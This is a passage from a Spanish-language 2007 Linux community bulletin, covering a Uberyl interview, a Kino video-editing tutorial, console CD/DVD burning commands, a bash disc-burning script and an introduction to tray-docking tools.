es el hijo aventajado con ganas de "mundo", hay que darle alas...

FL.: En términos generales, ¿es Ubuntu el futuro de Linux? ¿Es la mejor opción para migrar

desde Windows? ¿Algún posible contendiente?

M.A.P.: Hay muchas otras distribuciones de Linux que son tan importantes para el desarrollo

de Linux como Ubuntu, no me atrevería a afirmar esto nunca, pero se puede decir que en

cuanto a comunidad, si. No hay duda de ello, ubuntu es la solución fácil, a una migración de

windows.

Page 100: Mega Boletin Fent Linux 2007

Linux es muy diverso, para gustos , colores, como contendiente, alguno que sea sencillo a la

vista del usuario windows, Suse, Mandriva, etc.

FL.: finalizando, por qué debemos probar o que nos ofrece Uberyl, recomiendala...

M.A.P.: Uberyl está destinada a ser una seria opción a windows , sin quitar funcionalidad

ofrece el mejor escritorio al alcance de usuarios nobeles. Además próximamente, habrán

"novedades"...

Gracias por darme esta oportunidad para dejarme expresar, hoy por hoy, la máxima

satisfacción es que te lleguen correos así;

"Alejo Medrano, El Salvador;

Únicamente quería saludarte, felicitarte y agradecerte por esta nueva versión de Ubuntu tan

fresca, atractiva y fácil de usar (ideal para gente q no le gusta complicarse instalando drivers y

cambiando headers), te comento que en mi universidad usamos suse, (pero en lo personal me

gusta mas debian), y recientemente gracias a un proyecto de brindarle centros de computo a

escuelas de bajos recursos lo llevamos a cabo instalando en los ordenadores nada mas y nada

menos que....Uberyl!!!, por su bella interfaz grafica y las ventajas del Opensource Software que

todos conocemos.

En fin, espero que sepas q tu trabajo es apreciado por miles de personas en el mundo (hace

poco tuve contacto con unos amigos de sudafrica que ya usan Uberyl) y te deseo muchos

éxitos en tu vida personal y profesional.

Gracias por compartir tu conocimiento y trabajo con el mundo, saludos!!. "

• Nota: Uberyl ha cambiado de nombre y acaba de publicarse la primera versión estable de

la misma: ComFusion 1.0.

7. Agradecimientos y créditos.

Nuestro más sincero agradecimiento Marco A Pollolinux responsable

máximo de Uberyl por su colaboración e interés por su participación directa

en la confección del presente boletín.

Para posibles interesados en colaborar en su mantenimiento y difusión: Contacto

Recordar que el presente boletín, como todas las imágenes y texto de FL se distribuyen bajo la

licencia de contenidos que rige en FL

Otros boletines FL

* 1er boletín online FL 2007.

* 2º boletín online FL especial tercer aniversario.

Page 102: Mega Boletin Fent Linux 2007

- 6º BOLETÍN FL 2007 -

Con tod@s, y tras el descanso estival, una nueva entrega del boletín

online de FL. La sexta del presente año, en la que mantenemos la ilusión,

deseamos sea de su agrado. Disponible también en pdf.

Temas

1. Edición de video con Kino

2. Grabación desde Consola

3. Script para grabar dvds

4. Mininizar aplicaciones: KDocker y All Tray

5. Herramientas de seguridad I (john the ripper)

6. About:config

7. Fedora: Sitios de interés

8. Presentación proyecto RLC

9. Agradecimientos y créditos

1. Edición de video con kino.

Por Zx80.

Con los avances tecnológicos de hoy en día a precios muchas veces muy asequibles,

¿quien no tiene una videocámara con formato DV?. Se ha puesto de moda éste formato y no es

para menos ya que es un formato de muy buena calidad tanto en cinta como en tarjetas

SD/MMC que permite el trabajo en modo RAW, o lo que es lo mismo, lo que graba es lo que

luego se ve, sin pérdidas de ningún tipo, y que además se ha incorporado muy bien a todos los

sistemas, lo que permite una edición posterior para todos los gustos.

En este manual voy a dar unas pinceladas básicas para el uso de cámaras DV bajo Linux

mediante el programa de edición Kino.

Conectando.

En primer lugar voy a explicar un poco el sistema de conexión que variará un poco

dependiendo del "cacharro" que tengamos cada uno. Yo tengo una Panasonic MiniDV con cinta

digital, no tarjeta, y conexión USB y Firewire (o IEEE 1394).

Bajo USB, aunque el sistema la reconoce, no puede trabajar con ella, por no poder, ni siquiera

en Windows he podido, a excepción de con Window Media Maker, un programa muy simple y

nada flexible, así que opté por comprar un cable Firewire, de más alta tasa de transferencia y

Page 103: Mega Boletin Fent Linux 2007

no tan puñetero como el USB respecto a configuración.

Bajo Linux hay que darle soporte al kernel para puertos Firewire (opción que todas las distros

suelen traer predeterminada).

Al conectar la cámara y encenderla se cargará el módulo (si no está enbebido en el propio

kernel) que normalmente se llama "dv1394", aunque a veces lo menciona como "video1394"

(hacer un lsmod | grep 1394 para asegurarse) y creará un nodo en /dev llamado normalmente

raw1394, aunque también aparecen nodos llamados ieee1394.

Esto es importante ya que éste nodo es el parámetro que tendremos que darle en la

configuración a Kino para la captura.

Capturando en Kino.

Vamos a darle un vistazo rápido a Kino para orientarnos un poco en las características

de éste programa, que aunque no son muchas, pueden liar a un iniciado en Kino, y más aun si

el iniciado no tiene ni papa de edición.

Esto es lo que se ve al iniciar Kino:

Como se ve en la imagen tenemos una barra de herramientas horizontal en la parte superior y

una en el lateral derecho, que indica los pasos que tenemos que hacer para la edición del

vídeo, desde su volcado de la cámara al Pc hasta la creación propia del archivo. En el centro-

derecha tenemos un monitor en el que veremos el vídeo que se está capturando-editando y en

Page 104: Mega Boletin Fent Linux 2007

el centro-izquierda tenemos una columna en la que nos saldrán los cortes de vídeo que hemos

capturado y algo de información como la duración, nombre del proyecto y algunas opciones

que podemos añadir nosotros, como Autor, copyright...

Voy a explicar un poco los botones laterales:

* El primer icono vertical es el de "Editar", aunque debería estar en segunda posición, ya que

primero hay que volcar (capturar) el vídeo desde la cámara.

* El segundo es el de capturar que es donde debemos ir para volcar el vídeo de la cámara al

Pc. Es muy parecido al que sale en la imagen, pero cambia un poco la barra de progreso, con

opciones de grabar, parar captura, tomar instantánea...

* El tercero es una línea de tiempo, en el que el corte de vídeo seleccionado se desglosa por

tiempo, para saber de una manera rápida y visual donde está lo que queremos borrar, editar o

lo que queramos.

* El cuarto son las opciones de corte del vídeo, en el que seleccionamos lo que queremos que

se vea y lo que no, ya que Kino no borra lo que cortamos como hace por ejemplo Premiere.

* El quinto es el de los efectos especiales y es uno de los más divertidos y entretenidos ya que

es donde elegiremos transiciones entre vídeos, títulos, filtros...

* Y por último, el sexto, que sirve para la creación del archivo resultante a múltiples formatos.

Bueno, pues ya tenemos la cámara a punto y vamos a volcar el vídeo de las carreras de GP en

Montmeló ;-) a Kino, lo que se hace mediante el botón "Captura".

Page 105: Mega Boletin Fent Linux 2007

Como vemos, al darle al play a la vídeo-cámara nos aparece el vídeo en movimiento en el

monitor y es ahora cuando debemos darle al botón rojo de Captura, parando la captura con el

botón Stop o pudiendo tomar una instantánea con dicho botón.

Se ve un botón que pone "AV/C", esto es el control de la cámara desde kino, es decir, podemos

rebobinar, parar, reanudar el vídeo de la propia cámara sin necesidad de tocar los botones

propios del aparato. Esto es ideal para cuando tenemos la cámara lejos por cuestiones de

espacio o cualquier otra.

Se ve una barra al lado de los botones de funcionamiento, es el "Shuttle", una barra que nos

permite una emisión a cámara rápida o lenta del vídeo. Es una buena opción para sistemas

extranjeros que van más rápido o para vídeos mal capturados que no van muy sincronizados.

Luego tenemos otras opciones, como la ruta al archivo que queremos grabar y el tiempo, el

cual podemos ponerlo en formato hora, fotogramas...

Editando en Kino.

Pues ya tenemos el vídeo que queremos capturado. Podemos hacer múltiples capturas y

por cada una nos saldrá una escena en el monitor izquierdo. Además, por cada corte propio del

vídeo en la cámara Kino lo detecta y corta la escena en un nuevo vídeo, ideal para poder

trabajar con trocitos pequeños en vez de con uno grande.

Page 106: Mega Boletin Fent Linux 2007

Pasamos a la pestaña de "Editar" y, como puede verse en la imagen, vemos dos cortes

correspondientes a dos capturas que he echo. Además de una pequeña foto, también tenemos

algo de info como el nombre del proyecto, tiempo de inicio y la duración del corte.

Si nos fijamos en las miniaturas, a su izquierda hay una flechita que podemos desplegar. Ahí

vemos una ventanita en la que podemos añadir info adicional, como autor, tipo de licencia, etc.

Si nos dirigimos a la barra de tiempo del monitor vemos dos barras grises y una flechita azul

encima. Por cada corte de vídeo tenemos una barra gris separada por una linea blanca (puede

apreciarse en la imagen justo donde está la flecha azul). Si ahora le damos al Play, Stop, etc, se

visualizará el corte seleccionado.

Además, abajo de todo del monitor, tenemos la info de lo que dura el corte en el que estamos y

la duración de la totalidad de los cortes.

Si queremos ir a un fragmento del corte pero no sabemos cual exactamente podemos ir a la

pestaña "L. Tiempo", que es la linea de tiempo del corte seleccionado dividido en secuencias

de 120 milisegundos (porque estoy en modo hora, si no saldrían en frames o en lo que hubiera

elegido), de forma que podemos ir a la sección que queramos.

Si seleccionamos uno de ellos nos pasará automáticamente a la sección "Editar" con el vídeo

en el frame exacto que hemos elegido y su posición en la barra de tiempo. Esto es ideal si

queremos buscar una secuencia en la que queremos añadir una transición o un título o

simplemente si queremos cortar el resto del vídeo, por poner algunos ejemplos.

Ahora vamos a suponer que lo que queremos es partir un vídeo en dos. Yo en mi caso quiero

Page 107: Mega Boletin Fent Linux 2007

cortar el vídeo justo cuando aparece la chica que tengo al lado, así que en la pestaña "L.

tiempo" de la imagen selecciono el frame en el que empieza a aparecer la cabeza (el último

cuadro de la tercera fila), lo que me devuelve a la pantalla de Edición y ahora pulso la tecla

"Supr", lo que hace que aparezca otro corte con su división en la linea de tiempo del monitor y

la flechita azul encima y una miniatura más en la columna izquierda. Esto lo he echo para

añadirle más tarde una transición. Si lo queremos volver a unir nos ponemos en el corte

adecuado y pulsamos la tecla "MAYS+J", aunque también podemos hacerlo con la barra de

herramientas superior, en las flechitas negras de dividir escena o juntar escena.

Voy ahora a cortar una sección del vídeo. Con la opción de cortar lo que se hace es esconder la

sección que yo le digo, ya que Kino no elimina la parte cortada, simplemente no la muestra en

el monitor.

Pues me voy al primer corte y selecciono la pestaña "Recortar". Aparece una nueva linea de

tiempo con unas flechas en la parte inicial y final pero en la parte inferior de la barra de tiempo

y unos botoncitos nuevos.

Voy a cortar el trozo en el que las motos aparecen en la recta, para dejarlo justo cuando van a

tomar la curva Elf, y esto se puede hacer de dos maneras.

La primera es llevando la flechita azul superior al punto que queramos y darle a la flecha negra

de al lado de la ventanita de tiempo para que ajuste el punto de entrada a la posición actual o

simplemente arrastrar directamente la flechita azul que hay en la parte inferior de la barra de

tiempo. Si queremos podemos hacerlo también con la parte final del vídeo, pero yo lo dejaré

así, como puede verse en la imagen. Pulsamos el botón "Aplicar" y ya lo tenemos. Hay que

Page 108: Mega Boletin Fent Linux 2007

decir que si queremos recuperar la parte que hemos cortado solo hay que volver a la pestaña

"Recortar" y volver a dejar la flechita de corte como estaba y volver a "Aplicar".

¿Pero sabéis que?, que no me acaba de gustar como queda el primer corte, así que lo voy a

borrar.... para eso solo hay que pulsar CTRL+X.

Si tenemos algún vídeo capturado con anterioridad podemos añadirlo con los botones de la

barra de herramientas superior "Insertar fichero antes de la escena actual" o "Insertar fichero

después de la escena actual" (los que tienen forma de cinta de cine).

FX 1: Añadiendo imágenes de titulo.

Kino no tiene aun una sección cómoda de inserción de títulos, algo necesario y que creo

que en breve será una opción añadida en futuras versiones, pero eso no quiere decir que no se

puedan añadir, vamos a ver como.

He creado con Gimp un título que anuncia el vídeo que vamos a ver, así que nos vamos a la

pestaña "F/X" y aparecen 3 secciones que paso a explicar.

La primera es conocida; es la columna con los cortes de vídeo que hemos capturado. En el

medio tenemos las opciones de tiempo de los efectos, carga de ficheros externos, creación de

gradientes... y en la derecha tenemos los filtros y transiciones de vídeo y audio.

El título, evidentemente, lo quiero al principio del vídeo, por lo que selecciono el primer corte y

me voy a la columna central, elijo "Crear" y en la pestaña desplegable elijo "Desde fichero" y

Page 109: Mega Boletin Fent Linux 2007

en la ventanita pongo el nombre del archivo, en mi caso titulo.jpg (no hay opción de búsqueda

y selección del archivo que queremos, teniendolo que poner manualmente, una lástima).

Los fotogramas por defecto son 25, pero son pocos, por lo que quiero que aparezca más rato,

así que le pondré 100. Solo hay que darle al botoncito que pone "Render" abajo al final de la

linea de tiempo de la previsualización y listo.

NOTA: Asegurarse bien de los tiempos y sobre todo si queda bien en la previsualización, ya

que después de renderizar no se podrá volver atrás.

FX 2: Añadiendo transiciones.

Vamos ahora con el tema más entretenido y tal vez divertido que es la inserción de

transiciones, que son efectos que separan un vídeo de otro con algún tipo de efecto visual. La

manera de hacerlo la explico ahora mismo:

En la imagen se ve que he elegido en la columna de la derecha la transición de vídeo "Cortina

Luma" que es una transición que me gusta bastante. En las opciones de abajo he elegido

"Adelante" porque quiero que lo haga así y no hacia atrás, un efecto que quedaría al revés.

En la casilla de al lado he elegido "Fotograma siguiente". Esto es importante porque por

defecto está seleccionado "Fotogramas siguientes" (en plural) y esto lo que hace es que la

transición se aplica de un vídeo a otro mientras que el segundo vídeo va corriendo y no nos

interesa, porque perderemos un trozo del segundo vídeo. Si elegimos la primera opción

acabará un vídeo y empezará otro, con su correspondiente transición, claro.

Page 110: Mega Boletin Fent Linux 2007

Más abajo se ve una pestañita que está seleccionada (por eso se ve azul) que al lado pone

"Image:" y que he elegido "bar_left.png" y.... ¿esto para que sirve?, pues es la propia animación

del efecto. Yo he elegido un barrido de izquierda a derecha, pero podría haber elegido uno de

arriba abajo, en diagonal...

Y ahora vamos al meollo del asunto, el tiempo de transición, en la columna central. Vemos que

el primer corte empieza en el segundo 4 y dura 2,040 segundos, y como el efecto lo quiero al

final casi del corte, le he puesto que empiece en el segundo 5,600 y finalice al empezar el

segundo corte, en el segundo 6,000 (le regalo 40 milésimas). Podría haber finalizado el efecto

un poco en el segundo corte, pero como son cortes cortos de muestra me quedaría sin. Ahora,

como antes, hay que fijarse que en la previsualización quede todo correcto porque no habrá

vuelta atrás.... ¿estoy seguro?, ¿es ese efecto el que quería?, pues le doy a "Render" y Voilá

!!!!! ya tengo el efecto.

NOTA: El resto de botones no los explico porque son para juguetear con el efecto, que pase

más rápido, más lento... esto lo dejo para exploración del propio lector.

Si nos vamos a la sección "Editar" podremos ver el resultado y si nos fijamos en la barra de

tiempo, por el titulo y por la transición ha creado un corte nuevo separado por una linea blanca

cada uno, que podemos juntar si queremos como hicimos anteriormente, pulsando "CTRL+J".

FX 3: Añadiendo filtros.

Bueno, ya nos queda poco... Ahora voy a explicar el tema de los filtros, que son efectos

especiales que afectan a la propia imagen del vídeo, como los plug-ins de Gimp, por ejemplo.

Están localizados justo en la pestaña de al lado de las transiciones y también tenemos varios

efectillos chulos para meterle, como vídeo inverso rollo diapositivas, poner el vídeo al revés,

efecto caleidoscópio, tonos sepia como si fuera antiguo y unos pocos más.

Yo le voy a meter un filtro de dibujado en blanco y negro, simulando que está echo a mano:

Page 111: Mega Boletin Fent Linux 2007

En la imagen se ve la previsualización como parece que el vídeo esté echo a mano. Moviendo

las barritas que aparecen se le puede dar más o menos intensidad, trazo más grueso o más

fino... al gusto.

Pero la cosa no acaba ahí, en la zona superior está la pestaña de "Filtros de audio", así que le

voy a poner alguno, a ver a veeer.... venga, un "Fade Out" para que el vídeo conforme se

acerca al final vaya bajando el volumen hasta desaparecer. Cuando lo tenemos le damos a

"Renderizar". De nuevo nos vamos a "Editar" y le damos al "Play" y ya tenemos nuestro vídeo

montado.

Exportando a vídeo.

Bueno, ha llegado el momento de crear el archivo de vídeo para poder verlo en el Pc,

DVD o donde queramos, teniendo un montón de formatos para elegir.

Page 112: Mega Boletin Fent Linux 2007

Vemos un montón de opciones. Arriba del todo hay un pequeño contador que corresponde a la

velocidad que tendrá el vídeo, a más valor más rápido se verá, como a cámara rápida. De las

pestañitas que hay nos interesa la que pone "MPEG" ya que las otras son, por orden, para

volver a meterlo en la cámara, crear un fichero DV, crear una instantánea, exportar solo el

audio y la última, que son más opciones de exportación.

Aquí cada uno puede elegir valores que se adecuen a lo que busca. Yo normalmente elijo la

opción "3- MPEG genérico" y en la opción "Desentrelazar" elijo "Desentrelazado YUV como

película" y si desplegamos la flechita donde pone "Opciones avanzadas" podemos ver los

parámetros que va a usar Kino para exportar el vídeo y podremos cambiarlos manualmente (si

sabemos como, sino mejor dejarlo).

Solo nos quedará ponerle un nombre al vídeo resultante y listo, le damos al botón de abajo del

todo llamado "Exportar" y ya tendremos nuestra obra maestra lista.

Page 113: Mega Boletin Fent Linux 2007

Finalizando.

La velocidad de funcionamiento del programa es muy alta, al parecer gestiona muy bien

los recursos del sistema porque no le cuesta mover los cortes ni siquiera cuando lo hemos

recargado de efectos.

La velocidad de generación del vídeo es muy buena en comparación con otros programas de

renombre y dependerá de la longitud del vídeo que tenemos para procesar. Abajo del todo

saldrá una linea con información estimada de lo que queda para finalizar.

La calidad del vídeo resultante también es muy buena y exportando el vídeo en formato VCD,

que el tamaño del vídeo es más pequeño, no se aprecian pérdidas importantes al verlo a

pantalla completa a 1024x768, que es la resolución de mi monitor.

Tampoco está nada mal la balanza entre la calidad y el tamaño final del vídeo, aunque

podremos modificar estos parámetros a nuestro antojo.

Y concluyendo, es un programa no muy completo pero bastante potente y flexible y muy fácil

de usar que recomiendo.

También disponible en formato PDF en: Manual Kino.

Page 114: Mega Boletin Fent Linux 2007

2. Grabación desde consola.

Por Zx80.

La grabación de Cds o DVDs es algo que a veces da demasiados problemas, sobre todo

en equipos poco potentes.

Los programas más usados de grabación como K3b, X-Cdroast, Cdbakeoven, etc... no son más

que meros interfaces gráficos muy funcionales para las herramientas en modo comando de

UNIX.

A continuación repasamos los más extendidos.

NOTA: Este extracto explica los comandos y modificadores más usados, por lo que lo ideal para

conocer en detalle los comandos es consultar las páginas 'man' de los mismos.

Mkisofs, creación de imágenes:

Mkisofs es el comando usado para la creación de imágenes iso tanto desde un CD

como desde directorios del disco duro. Los modificadores más usuales son:

-a ó -all-file: Incluir todos los archivos, ya que por defecto se omiten archivos del tipo ~ y #

muy comunes en unix.

-f ó -follow-links: Para incluir archivos o directorios que en verdad son enlaces y no tomarlos

como tales.

-print-size: Muestra el tamaño que ocupará la imagen.

-J: Modo Joliet, para compatibilidad con sistemas Windows.

-l: Con este parámetro se entrará en modo compatible de nombres de más de 32 caracteres en

sistemas que no lo soportan.

-T ó -traslation-table: Crea una tabla llamada TRAN.TBL en cada directorio que contendrá todas

las transcripciones de los archivos para que se puedan ver correctamente los nombres largos

en sistemas de nombres cortos 8+3.

-R: Genera la estructura Rock Ridge, que es la estructura conservando los permisos de los

sistemas Unix.

-r: Igual a la anterior pero reseteando los permisos restrictivos para que todos los usuarios

puedan acceder al CD.

-b ó -eltorito-boot: Indicándole la ruta a la imagen de arranque creará un CD autoarrancable. EL

tamaño de la imagen debería ser de 720 Ks, 1.2 Mb o 2,88 Mb, ideal para meter la

configuración de lilo o grub.

-m ó -exclude: Para omitir archivos que no queramos. Se pueden usar patrones y comodines.

-x: Esta opción nos permite excluir los directorios de la ruta de origen que le especifiquemos

Page 115: Mega Boletin Fent Linux 2007

para que no los grabe.

-v: Muestra información mientras se hace la imagen.

-V: Con esto podremos añadirle un nombre de volumen al CD que crearemos.

-o ó -output: Indica el nombre de la imagen que crearemos.

Que lío !!! No tanto, y se ve claramente en los siguientes ejemplos:

1- Grabar una imagen en modo Rock Ridge:

mkisofs -a -r -T -o /dir/imagen.iso /ficheros

2- Grabar una imagen en modo Joliet excluyendo los archivos core y con extensión .o y el

directorio vídeos:

mkisofs -a -J -f -m '*.o' -m core -x videos -o /dir/imagen.iso /home

A grabar !!! Uso de cdrecord:

Aunque existen otros como cdrdao o cdwrite, es más ampliamente usado cdrecord. Los

modificadores más usuales son:

-scanbus: Detecta el dispositivo grabador SCSI y nos da su posición, útil para especificarlo en la

grabación. En dispositivos ATAPI en kernels 2.6 se debe poner -scanbus dev=/dev/hdx, donde x

pertenece al dispositivo grabador.

dev=0,0,0: Especifica el dispositivo grabador.

-dummy: Modo testeo de grabación con el laser apagado.

-v: Muestra información mientras se graba la imagen.

-speed=12: Velocidad de grabación, en este caso 12.

-fs=x: Especifica el tamaño en Mb o Ks del bufer de datos. Se recomienda como mínimo el

tamaño del bufer de la grabadora y como máximo la mitad de la RAM del sistema, aunque los

valores ideales están entre 4 y 32.

-eject: Expulsa el cd una vez grabado.

-fix: Cierra el CD para que no se pueda grabar más.

-nofix: No cierra el CD. Útil para crear un CD por pasos o crear un CD-Audio. Este tipo de Cds no

se leen en unidades lectoras.

-audio: Crea un CD de audio.

-data: Crea un CD de datos. Opción por defecto.

-multi: Para crear grabaciones multisesión.

Page 116: Mega Boletin Fent Linux 2007

-msinfo: Esta opción nos muestra información de las sesiones ya grabadas en un cd

multisesión.

-mode2: Modo de grabación en mode2.

-xa1: Modo de grabación xa1.

-xa2: Modo de grabación xa2.

-dao: Graba en modo Disk at Once.

Buenoooo..... Como siempre algunos ejemplos prácticos de grabación:

1- Grabación de una imagen:

cdrecord dev=0,0,0 speed=8 -fs=12m -eject imagen.iso

2- Grabación de una pista en modo xa1 y del resto en modo audio, con un buffer de 8 Mb y a

velocidad de 10x:

cdrecord dev=0,0,0 fs=8m speed=10 -eject -xa1 imagen.iso -audio track1.wav

Grabando sin crear imagen.

También es posible hacer un CD directamente desde el disco sin necesidad de hacer una

imagen previa.

NOTA: No es recomendable acceder al disco duro que contenga el directorio maestro con los

ficheros a grabar directamente al CD porque el mínimo retraso en la transferencia de datos

puede hacer que el CD, aunque se grabe bien, tenga errores y no se pueda acceder a todos los

archivos.

Ante todo sería correcto calcular la capacidad que ocupará la imagen que haremos. Para ello se

usa el comando:

mkisofs -r -T -l -print-size -f /files

Que nos da un valor como:

Total extents scheduled to be written = 3249262

Ahora ese valor se lo pasaríamos al cdrecord para que grave exactamente ese tamaño.

mkisofs -r -T -l -f /files | cdrecord fs=8m tsize=3249262*2048

Y para multisesión:

mkisofs -r -T -l -f /files | cdrecord fs=8m tsize=3249262*2048 -xa1 -data foto1.jpg

foto2.png programa.bin audio1.wav

Page 117: Mega Boletin Fent Linux 2007

Como cdrecord consume bastante recursos se le puede aumentar la prioridad con el comando

nice. Quedaría así:

nice --20 cdrecord fs=8m tsize=3249262*2048

¿Como se graba un CD multisesión?

Es algo más complejo la grabación de un CD multisesión, ya que hay que importar la

sesión ya grabada y luego grabar la nueva sesión, para que ambas sesiones sean visibles como

si de una sola se tratara.

* Para grabar una sesión en un CD que ya tiene una sesión grabada:

cdrecord dev=0,0,0 -msinfo

Así obtenemos información sobre la sesión. Solo funciona con CDs que hayan sido grabados

con la opción -multi.

Para grabar la nueva sesión solo hay que ponerle a mkisofs la información que anterior:

mkisofs -v -a -J -C 0,218339 -r -T -V "sesion2"-o /imagen.iso /files/.

Ahora solo nos falta copiar la imagen recién creada con el modificador -multi para entrar en

modo multisesion.

Formateando nuestro CD-RW

Pues no iba a ser menos nuestro socorrido RW. La forma de formatearlos es sencilla con

el modificador blank=X, donde X pertenece a:

help: Muestra una pequeña ayuda.

all: Borra totalmente el disco. Es una opción que tarda bastante tiempo.

disc ó disk: Borra totalmente el disco similar a la anterior opción.

fast ó minimal: Solo borra el TOC, prepage y PMA.

track: Borra una sola pista.

unreverse: Activa una pista reservada.

trtail: Borra la cola de una pista.

unclose: Abre una pista cerrada.

session: Borra la última sesión grabada.

¿Grabar DVDs? Cdrecord-ProDVD:

Básicamente este comando es idéntico al cdrecord de toda la vida, solo que se le ha

dado soporte para estructuras de DVD. Un ejemplo de grabación de una imagen dada sería:

cdrecord-ProDVD -dao -speed=12 dev=/dev/dvd ./imagen.iso

Page 118: Mega Boletin Fent Linux 2007

Otro más: Growisofs.

Growisofs es una aplicación de grabación de DVDs. Su uso es algo similar al cdrecord,

por lo que no habrá mucho problema a la hora de usarlo. Es el predeterminado en aplicaciones

como K3b y similares y viene dentro del paquete dvdrtools.

-Z: Crea la grabación con la imagen que le especifiquemos.

-M: Mezcla la grabación que vamos a hacer con otra sesión existente.

-dvd-compat: Ofrece compatibilidad con los DVD-ROM/Video y cierra las grabaciones en los

DVD-R y DVD+R.

-overburn: Opción necesaria para la total ocupación de un DVD.

-speed=X: Al igual que en el cdrecord, esto especifica la velocidad de grabación.

* Algunas consideraciones especiales a tener en cuenta:

No usar -o para la salida porque growisofs lo hace directamente en el dispositivo.

No usar -C para el caso de los multisesión ya que se hace automáticamente.

Algunos ejemplos prácticos son:

1- Grabación de archivos en modo Joliet:

growisofs -Z /dev/dvd -J /some/files

2- Añadir una sesión al mismo DVD:

growisofs -M /dev/dvd -J /more/files

3- Grabar una imagen a DVD:

growisofs -dvd-compat -Z -V discname /dev/dvd=image.iso

4- Grabar "on the fly" un video sin hacer imagen:

growisofs -dvd-compat -Z -V discname /dev/dvd -dvd-video ./foo

Este manual fue publicado originalmente en formato pdf.

Page 119: Mega Boletin Fent Linux 2007

3. Script para grabar dvds

Por shicefgo.

El script es bastante autoexplicativo gracias a los comentarios incluidos. Seguro que

alguien podría decir que me paso con los comentarios en mi código, pero están pensados para

el que no sabe y quiere aprender. No es que yo tenga mucho que enseñar (soy más bien

feucho), pero más vale poco que nada.

Bueno, ahí va:

* Código:

#!/bin/bash

#

# grabar

# Script para grabar CDs o DVDs, ya sea dede imágenes .iso o desde un

# directorio del usuario.

#

# shicefgo, 2007 - http://www.fentlinux.com/web

#

# Este programa es software libre bajo licencia GPL.

function mensaje_ayuda

{

echo "Uso:"

echo -n "$0 [cd | dvd | mdvd] [directorio | imagen.iso] [grabadora "

echo "(opcional)]"

echo

echo "Se deben aportar al menos dos argumentos:"

echo "El 1º debe ser 'cd', 'dvd' o 'mdvd' en minúsculas."

echo "'mdvd' viene de 'montaje dvd', y está pensado para grabar un dvd "

echo "a partir de un directorio que contiene cosas como un menú, imágenes "

echo "para los botones... etc, es decir, una estructura para el dvd."

echo

echo "El 2º es el nombre completo del directorio o archivo.iso a grabar."

echo "Los nombres de archivos a grabar no pueden ser enlaces simbólicos."

echo

echo "Opcionalmente puede introducir un tercer argumento, el cual "

echo "indicará la grabadora a utilizar caso de que en el archivo "

echo "/etc/fstab haya más de una."

echo "Con el número '1' se utilizará la primera grabadora que "

echo "aparezca en el archivo, con el '2' la segunda, y así sucesivamente."

Page 120: Mega Boletin Fent Linux 2007

echo "Para localizar las grabadoras, en el supuesto de que tenga más "

echo "de una, utilice el siguiente comando: cat /etc/fstab"

echo "Podrá identificar cada grabadora porque en algún lugar de la "

echo "línea que le corresponde encontrará la cadena 'iso9660' y/o 'udf'."

echo

echo "Ejemplos:"

echo "$0 cd directorio_base"

echo "$0 dvd ./descargas/imagen.iso 2"

echo "$0 mdvd /home/yomismo/mi_montaje_dvd"

}

# Inicialización de las variables.

NUMARGS=$#

DISK=$1

ORIGEN=$2

NUMGRAB=0

IMAGEN="/tmp/imagen.iso"

GRABADORA=($(cat /etc/fstab | grep "iso9660" | cut -d" " -f1))

# Si el nº de argumentos es < 2 ó > 3 muestra el mensaje de ayuda y finaliza.

# Se resta 1 al nº grabadora porque los vectores bash comienzan con 0, y al

# usuario le es más natural empezar a contar desde uno.

if [ $NUMARGS -lt 2 ] || [ $NUMARGS -gt 3 ]; then

mensaje_ayuda

exit 1

elif [ $NUMARGS -eq 3 ]; then

let NUMGRAB=$3-1

fi

# Si no se encuentra una grabadora con FS iso9660, se busca con FS udf.

if [ $GRABADORA == "" ]; then

GRABADORA=($(cat /etc/fstab | grep "udf" | cut -d" " -f1))

fi

# Si tampoco ha encontrado una grabadora, finaliza la ejecución.

if [ $GRABADORA == "" ]; then

echo "No se ha podido encontrar una grabadora en su archivo /etc/fstab."

exit 1

fi

# Si la grabadora elegida no existe, finaliza la ejecución.

# Se incrementa NUMGRAB para que el usuario vea el mismo nº que introdujo.

if [ "${GRABADORA[NUMGRAB]}" == "" ]; then

let NUMGRAB++

echo "La grabadora nº '$NUMGRAB' no existe en el archivo /etc/fstab."

Page 121: Mega Boletin Fent Linux 2007

exit 1

fi

if [ "$DISK" != "cd" ] && [ "$DISK" != "dvd" ] && [ "$DISK" != "mdvd" ]; then

echo "El primer argumento debe ser 'cd', 'dvd' o 'mdvd' (sin comillas)."

exit 1

fi

# Crea la imagen, si procede, con la orden genisoimage y la graba con la orden

# cdrecord si es un CD, y con growisofs si se trata de un DVD.

# Los argumentos de genisoimage se corresponden con el tipo de imagen a crear.

case $DISK in

'cd')

if [ -d $ORIGEN ]; then # $ORIGEN es un directorio

genisoimage -R -J -T -o $IMAGEN $ORIGEN

cdrecord -v dev=${GRABADORA[NUMGRAB]} speed=8 $IMAGEN

elif [ -f $ORIGEN ]; then # $ORIGEN es un archivo .iso

cdrecord -v dev=${GRABADORA[NUMGRAB]} speed=8 $ORIGEN

else

echo "No se puede grabar $ORIGEN."

exit 1

fi

;;

'dvd')

if [ -d $ORIGEN ]; then # $ORIGEN es un directorio

genisoimage -R -J -T -o $IMAGEN $ORIGEN

growisofs -Z ${GRABADORA[NUMGRAB]}=$IMAGEN

elif [ -f $ORIGEN ]; then # $ORIGEN es un archivo .iso

growisofs -Z ${GRABADORA[NUMGRAB]}=$ORIGEN

else

echo "No se puede grabar $ORIGEN."

exit 1

fi

;;

'mdvd')

if [ -d $ORIGEN ]; then # $ORIGEN es un directorio

genisoimage -dvd-video -v -o $IMAGEN $ORIGEN

growisofs -Z ${GRABADORA[NUMGRAB]}=$IMAGEN

else

echo "'$ORIGEN' no existe o no es un directorio."

fi

;;

Page 122: Mega Boletin Fent Linux 2007

esac

# Elimina la imagen creada.

# El argumento '-f' es para que no se queje si la imagen no existe.

rm -f $IMAGEN

# Fin script.

4. Mininizar Aplicaciones con KDocker y AllTray.

Por Juan Bellas.

KDocker y AllTray son dos aplicaciones destinadas a enviar cualquier programa al

System Tray, allí, al lado del reloj, sin necesidad de tenerlo ocupando espacio en la barra de

tareas.

Ambos pueden ser instalados desde el código fuente, desde paquetería o incluso fácilmente

desde los correspondientes gestores de paquetería avanzada, tipo APT.

Su utilización es tan simple como si estamos en Gnome, vamos a

Aplicaciones/Accesorios/KDocker o en su defecto Aplicaciones -> Accesorios -> AllTray y nos

saldrá un cuadradito por el cursor, pinchamos en la ventana de la aplicación en cuestión y se

nos irá el icono al System Tray, para abrirlo de nuevo bastaría con dar un sólo click en la

ventana correspondiente.

Para más detalles sobre ambas aplicaciones, enlaces de descarga e instrucciones de

instalación las respectivas webs de las aplicaciones:

* De KDocker: una y otra.

